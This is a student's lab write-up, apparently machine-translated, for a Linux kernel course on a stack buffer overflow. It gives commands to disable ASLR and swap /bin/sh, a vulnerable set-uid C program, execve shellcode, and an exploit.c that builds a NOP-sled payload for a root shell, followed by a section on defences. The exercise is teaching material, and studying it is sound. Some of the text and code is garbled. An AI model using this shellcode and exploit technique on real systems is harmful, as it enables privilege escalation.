20179209 "Linux kernel Principles and analysis" 12th Shusaku

Introduction to Buffer Overflow Vulnerability Experiment Buffer overflow

A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten.

Explanation of principle

The principle of a buffer overflow attack is to store a piece of malicious code in a buffer by modifying the memory area, and make the buffer overflow so that the current process is illegally exploited (malicious code execution).
Just filling in the buffer and causing it to overflow will generally only get "segmented error" (segmentation fault), I think this error should have been encountered by many programmers. However, if the buffer is overwritten by a well-designed sequence of machine instructions, it may change the normal flow of the program by spilling, changing the return address, pointing it to its own sequence of instructions.

is the mapping in the program's in-memory.

The function call stack in the program is the main way to overflow the vulnerability. When a function is executed, the stack pointer esp points to the place where the original EIP is saved, and the instruction pointer Eip points to the RET instruction, so normally, after the RET executes, the original EIP can be restored, thus returning to the process before the interruption. However, if the stored eip is overwritten with the address of a JMP directive, then after executing the pop EIP, the EIP will be changed to the address of the jmp instruction, that is, the instructions in the shellcode are executed.

Experimental environment

Lab building Environment (Ubuntu Linux 64 bit). To make it easier to observe assembly statements, you need to install something that compiles a 32-bit C program.

sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev

Experiment Step 1. Initialize settings

In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:
sudo sysctl -w kernel.randomize_va_space = 0
In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.
In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. Here's how:

sudo sucd /binrm shln -s zsh shexit

2.ShellCode

In general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.

#include <stdio.h>int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}

Shellcode is certainly not the above C program, because the attack code must be machine-level instructions, so choose its assembly version as the shellcode of this experiment.
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3. Vulnerability procedures

Save the following code as a "stac.c" file and save it to the/tmp directory.

/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[12];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}

The above code is simple, reads a file named "Badfile" and loads the contents of the file into "buffer".
Compile the program, and set the Set-uid. The command is as follows:

sudogcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c // -fno-stack-protector参数的含义是关闭栈保护机制；-z execstack 参数的意思是用于允许执行栈chmod u+s stackexit

4. Attack program

Our aim is to attack the above vulnerability program and gain root access through an attack.
Save the following code as a "exploit.c" file and save it to the/tmp directory.

/* exploit.c *//* A program this creates a file containing code for launching shell*/#include <stdlib.h> #inclu De <stdio.h> #include <string.h>char shellcode[]= "\x31\xc0"//xorl%eax,%eax "\x50"//PUSHL%eax "\x68" "//sh"//PUSHL $0x68732f2f "\x68" "/bin"//PUSHL $0x6e69622f "\x89\xe3"//movl%esp,%ebx "\x50"//PUSHL%eax "\x53" PUSHL%ebx "\x89\xe1"//movl%esp,%ecx "\x99"//CDQ "\xb0\x0b"//movb $0x0b,%al "\xcd\x80"//int $0x 80;void Main (int argc, char **argv) {char buffer[517]; FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset (&buffer, 0x90, 517);/* You need to fill the BU Ffer with appropriate contents here */strcpy (buffer, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ X90\x90\x90\x90\x90\x90\x90\x90\x90\x?? \x?? \x?? \x?? "); strcpy (Buffer+100,shellcode);/* Save the contents to the file "badfile" */badfile = fopen ("./badfile", "W"), Fwrite (buffer , 517, 1, badfile); fclose (badfile);} 

Notice the above code, "\x??" \x?? \x?? \x?? " Add shellcode to the address stored in memory. This position overwrites the return address just after the overflow occurred.
strcpy(buffer+100,shellcode)the meaning is that shellcode is stored in the buffer+100 position. Now we have to find the address of buffer in memory:

gdb stackdisass main

This calculates the address of the Shellcode:
0xffffcfc0+100 (decimal) = 0xffffcfc0+0x64=0xffffd024
Compile after modifying exploit.c:

Experimental results

Run the attack program exploit before running the vulnerability stack:

Summarize

By analyzing the vulnerabilities, we also think about the prevention of some exploits. The whole precautionary measures include source-level protection method, runtime protection method, block attack code execution, strengthen system protection and so on. For source protection, you can be vigilant, when writing a program for the part of the buffer involved strict bounds checking to prevent overflow. The vulnerability scanning tool can also be used to analyze the code part of the source for possible buffer overflow vulnerabilities, to find bugs and resolve them. Run-time Protection focuses on how to discover or block buffer overflow attacks during program operation. For example, array bounds Check, check whether the actual length of the array exceeds the length of the allocation, if more than the corresponding processing immediately. Block attack code execution, you can set the stack data segment is not executable, so you can avoid being attacked. Strengthening system protection is mainly to protect the system information, turn off unnecessary services, the principle of least privilege, use the system's stack patches, check the system vulnerabilities and timely security patches for the software.

20179209 "Linux kernel Principles and analysis" 12th Shusaku